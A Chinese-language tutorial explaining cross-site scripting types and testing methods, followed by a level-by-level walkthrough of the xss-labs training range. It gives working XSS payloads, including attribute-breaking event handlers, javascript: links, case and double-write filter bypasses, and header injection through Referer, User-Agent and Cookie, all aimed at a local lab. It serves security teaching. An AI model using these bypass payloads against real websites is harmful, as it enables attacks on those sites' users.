Web渗透-XSS漏洞深入及xss-labs靶场实战

简介: XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。

一、简介

xss全称(cross site scripting)跨站脚本攻击,是最常见的web应用程序安全漏洞之一,位于owasptop102013年度第三名xss是指攻击者在网页中嵌入客户端脚本,通常是javascrip编写的危险代码,当用户使用浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。

xss属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着xss可以进行"服务端"攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一股也是靠管理员身份作为"跳板"进行实施攻击。

二、XSS靶场

第一步:git clone拉取或者下载项目压缩包
第二步:放入Apache www服务的根目录中
第三部:访问URL http://localhost/xss-labs/
  • 访问页面效果

三、XSS测试方法

1 工具扫描:appscan,awvs
2 手工测试:burpsuite,firefox(hackbar),xsser xssf
使用手工检测web应用程序是否存在xss漏洞时,最重要的是考虑那里有输入,输入的数据在什么地
方输出。在进行手工检测xss时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符。
这样可以快速测试是否存在xss.
  (1)在目标站点上找到输入点,比如查询接口,留言板等;
  (2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
  (3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行)s的条件(构造闭合),提交
  构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在xss漏洞;

四、XSS分类

一、反射性XSS或不持久型XSS

(一) 简介

反射型XSS攻击(Reflected XSS)有称为非持久型跨站点脚本攻击,它是最常见的XSS,漏洞产生的原因是攻击者注入的数据反映在响应中,一个典型的非持久型的XSS包含一个带XSS攻击向量的链接。

每次攻击需要用户点击

(二) 判断
  • 靶场关卡:Pikachu - Cross-Site Scripting -  反射型xss(get)
第一步:找到网站可以输入的地方
第二步:找到网站可以输出的地方
第三步:插入任意JS代码判断是否会执行

二、存储型XSS或持久性XSS

(一) 简介

存储型xss是指应用程序直接将攻击者提交的恶意代码存储到服务端保存,然后永久显示在其他用户的页面上。

比较常见的就是,黑客写下一篇包含恶意javascript代码的博客文章发表后,所有访问该博客的用户,都会在它们的浏览器中执行这段恶意的javascript代码,黑客把恶意的脚本保存到服务端。所以这种xss攻击就叫做"存储型xss".

(二) 作用

获取Cookie ,内网IP等

(三) 判断
存储型xss可能出现的位置:
(1)用户注册
(2)留言板
(3)上传文件的文件名处
(4)管理员可见的报错信息
(5)在线聊天框
(6)客服
(7)问题反馈区
(8)邮件信箱
// 在找漏洞时,使用console.log()方法,判断是否存在漏洞
(四) 示例
  • 靶场关卡:Pikachu - Cross-Site Scripting - 存储型xss
<script>console.log('varin')</script>

三、DOS XSS

(一) 简介

通过javascript,可以重构整个html文档,就是说可以添加,移除等等,对页面的某个东西进行访问的javascript就需要获得对html文档中所有元素进行访问的入口。这个入口就是dom,所以在dom型的xss漏洞利用中,dom可以看成是一个访问html的标准程序接口。
特征:整个过程都是在前端完成的,没有后端的参与(纯前端的操作!)

(二) 利用
// javascript 伪协议
javascript:alert(1)
(三) 示例
  • 靶场关卡:Pikachu - Cross-Site Scripting - DOM型xss

五、xss-labs靶场实战

一、level1

  • 类型:反射型
  • 提示:无
  • 观察:
页面并没有输入的地方,除了URL栏
name长度刚好为:4

  • 测试:
// name参数条件js代码
http://10.196.93.67/xss-labs/level1.php?name=<script>alert('varin')</script>

二、level2

  • 类型:反射型
  • 提示:无
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:输入框输入的内容存储到了h2标签上,通过构建闭合的方式(双引号),嵌入js代码
  • 测试
// 输入框内容:
"</h2><a>ff</a> <script>alert('a')</script>

三、level3

  • 类型:反射型
  • 提示:无
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:
  • 输入框输入的内容存储到了h2标签上,通过构建闭合的方式(单引号),嵌入js代码(失败)
  • 采用闭合的方式,闭合的符号会被转义,导致识别不出来。尝试单击方法
  • 测试
// 输入框内容:
' onclick='alert(1)'

四、level4

  • 类型:反射型
  • 提示:无
  • 特点:输入标签会被去掉<>符号
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试单击方法
  • 测试
" onclick="alert('1')">

五、level5

  • 类型:反射型
  • 提示:无
  • 特点:输入script、事件会被转义,输入
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试伪协议方法
  • 测试
// 闭合:">
"> <a href='javascript:alert(1)'>abc</a>

六、level6

  • 类型:反射型
  • 提示:无
  • 特点:输入script、href、事件会被转义,输入
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:尝试伪协议方法、使用大小写
  • 测试
// 闭合:">
"> <a HREF='javascript:alert(1)'>abc</a>

七、level7

  • 类型:反射型
  • 提示:无
  • 特点:script转为空
  • 闭合:双引号
  • 观察:有输入框,按钮,内容显示到h2标签。
  • 思路:双写
  • 测试
"> <sscriptcript>alert(1)</sscriptcript>

八、level8

# &#x074=t
javascrip&#x074:alert(1)

九、level9

  • 类型:反射型
  • 提示:无
  • 特点:a标签的href必须有htt://字符,使用html字体实体编码
  • 思路:将http://加入到输出信息中
  • 测试
javascrip&#x074:alert('http://')

十、level10

  • 类型:反射型
  • 提示:无
  • 特点:隐藏域
  • 思路:有隐藏域,每个尝试,得到t_sort可以写入值,在尝试是否能闭合value值,并去除隐藏域属性
  • 测试
http://localhost/xss-labs/level10.php?t_link=1&t_sort="onclick='alert(1)'type=''

十一、level11

  • 类型:反射型
  • 提示:ref
  • 特点:Referer,请求头
  • 思路:通过抓包发现Referer参数值传递到了t_ref输入框中,尝试在Referer构建语句

  • 测试
Referer: " type=""  onclick='alert(1)'

十二、level12

  • 类型:反射型
  • 提示:User-Agent
  • 特点:User-Agent,请求头
  • 思路:通过抓包发现User-Agent参数值传递到了t_ua输入框中,尝试在User-Agent构建语句

  • 测试
User-Agent: " type="" onclick="alert(1)"

十三、level13

  • 类型:反射型
  • 提示:Cookie
  • 特点:Cookie,请求头
  • 思路:通过抓包发现Cookie参数值传递到了t_cook输入框中,尝试在Cookie构建语句

  • 测试
Cookie: user=" type="" onclick="alert(1)"; PHPSESSID=600b54c6da94cb911ba2ad52c52ee5bd

十四、level14

  • 页面显示不出来,略过

十五、level15

  • 测试:
http://10.196.93.67/xss-labs/level15.php?src="level1.php?name=<a href='javascript:alert(1)'>varin</a>"

十六、level16

  • 类型:反射型
  • 提示:无
  • 特点:URL编码,字符替换
  • 思路 :将空格转换为回车的ULR编码
  • 测试
// %0a=回车
http://10.196.93.67/xss-labs/level16.php?keyword= <img%0asrc=a%0aonerror=alert(1)>

十七、evel17

  • 类型:反射型
  • 提示:无
  • 特点:将空格插入到b前方,可以将b顶出来
  • 思路 :使用特殊字符随机位置尝试,如空格,单引号,双引号等。

  • 测试
http://10.196.93.67/xss-labs/level17.php?arg01=a&arg02= onmouseover=alert(1)

十八、level18

  • 通过方式level17关类似。
http://10.196.93.67/xss-labs/level18.php?arg01=a&arg02= onmouseover=alert(1)

目录
相关文章
|
3月前
|
存储 前端开发 Java
【JAVA】Java 项目实战之 Java Web 在线商城项目开发实战指南
本文介绍基于Java Web的在线商城技术方案与实现,涵盖三层架构设计、MySQL数据库建模及核心功能开发。通过Spring MVC + MyBatis + Thymeleaf实现商品展示、购物车等模块,提供完整代码示例,助力掌握Java Web项目实战技能。(238字)
446 0
|
3月前
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
1028 0
|
2月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
287 4
|
6月前
|
缓存 JavaScript 前端开发
鸿蒙5开发宝藏案例分享---Web开发优化案例分享
本文深入解读鸿蒙官方文档中的 `ArkWeb` 性能优化技巧,从预启动进程到预渲染,涵盖预下载、预连接、预取POST等八大优化策略。通过代码示例详解如何提升Web页面加载速度,助你打造流畅的HarmonyOS应用体验。内容实用,按需选用,让H5页面快到飞起!
|
6月前
|
JavaScript 前端开发 API
鸿蒙5开发宝藏案例分享---Web加载时延优化解析
本文深入解析了鸿蒙开发中Web加载完成时延的优化技巧,结合官方案例与实际代码,助你提升性能。核心内容包括:使用DevEco Profiler和DevTools定位瓶颈、四大优化方向(资源合并、接口预取、图片懒加载、任务拆解)及高频手段总结。同时提供性能优化黄金准则,如首屏资源控制在300KB内、关键接口响应≤200ms等,帮助开发者实现丝般流畅体验。
|
前端开发 JavaScript Shell
鸿蒙5开发宝藏案例分享---Web页面内点击响应时延分析
本文为鸿蒙开发者整理了Web性能优化的实战案例解析,结合官方文档深度扩展。内容涵盖点击响应时延核心指标(≤100ms)、性能分析工具链(如DevTools时间线、ArkUI Trace抓取)以及高频优化场景,包括递归函数优化、网络请求阻塞解决方案和setTimeout滥用问题等。同时提供进阶技巧,如首帧加速、透明动画陷阱规避及Web组件初始化加速,并通过优化前后Trace对比展示成果。最后总结了快速定位问题的方法与开发建议,助力开发者提升Web应用性能。
|
6月前
|
JSON 开发框架 自然语言处理
【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(三)
本文主要介绍了应用开发中的三大核心内容:生命周期管理、资源限定与访问以及多语言支持。在生命周期部分,详细说明了应用和页面的生命周期函数及其触发时机,帮助开发者更好地掌控应用状态变化。资源限定与访问章节,则聚焦于资源限定词的定义、命名规则及匹配逻辑,并阐述了如何通过 `$r` 引用 JS 模块内的资源。最后,多语言支持部分讲解了如何通过 JSON 文件定义多语言资源,使用 `$t` 和 `$tc` 方法实现简单格式化与单复数格式化,为全球化应用提供便利。
277 104
|
6月前
|
JavaScript 前端开发 API
【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(二)
本文介绍了HarmonyOS应用开发中的HML、CSS和JS语法。HML作为标记语言,支持数据绑定、事件处理、列表渲染等功能;CSS用于样式定义,涵盖尺寸单位、样式导入、选择器及伪类等特性;JS实现业务逻辑,包括ES6语法支持、对象属性、数据方法及事件处理。通过具体代码示例,详细解析了页面构建与交互的实现方式,为开发者提供全面的技术指导。
293 104
|
6月前
|
开发框架 编解码 JavaScript
【HarmonyOS Next之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(一)
该文档详细介绍了一个兼容JS的类Web开发范式的方舟开发框架,涵盖概述、文件组织、js标签配置及app.js等内容。框架采用HML、CSS、JavaScript三段式开发方式,支持单向数据绑定,适合中小型应用开发。文件组织部分说明了目录结构、访问规则和媒体文件格式;js标签配置包括实例名称、页面路由和窗口样式信息;app.js则描述了应用生命周期与对象管理。整体内容旨在帮助开发者快速构建基于方舟框架的应用程序。
297 102
|
7月前
|
Web App开发 前端开发 JavaScript
鸿蒙5开发宝藏案例分享---Web适配一多开发实践
这是一份实用的鸿蒙Web多设备适配开发指南,针对开发者在不同屏幕尺寸下的布局难题提供了解决方案。文章通过三大法宝(相对单位、媒体查询和窗口监听)详细介绍如何实现智能适配,并提供了多个实战案例,如宫格布局、对话框变形和自适应轮播图等。此外,还分享了调试技巧及工具推荐,帮助开发者快速上手并优化性能。最后鼓励读者实践探索,并提示更多官方资源等待发现。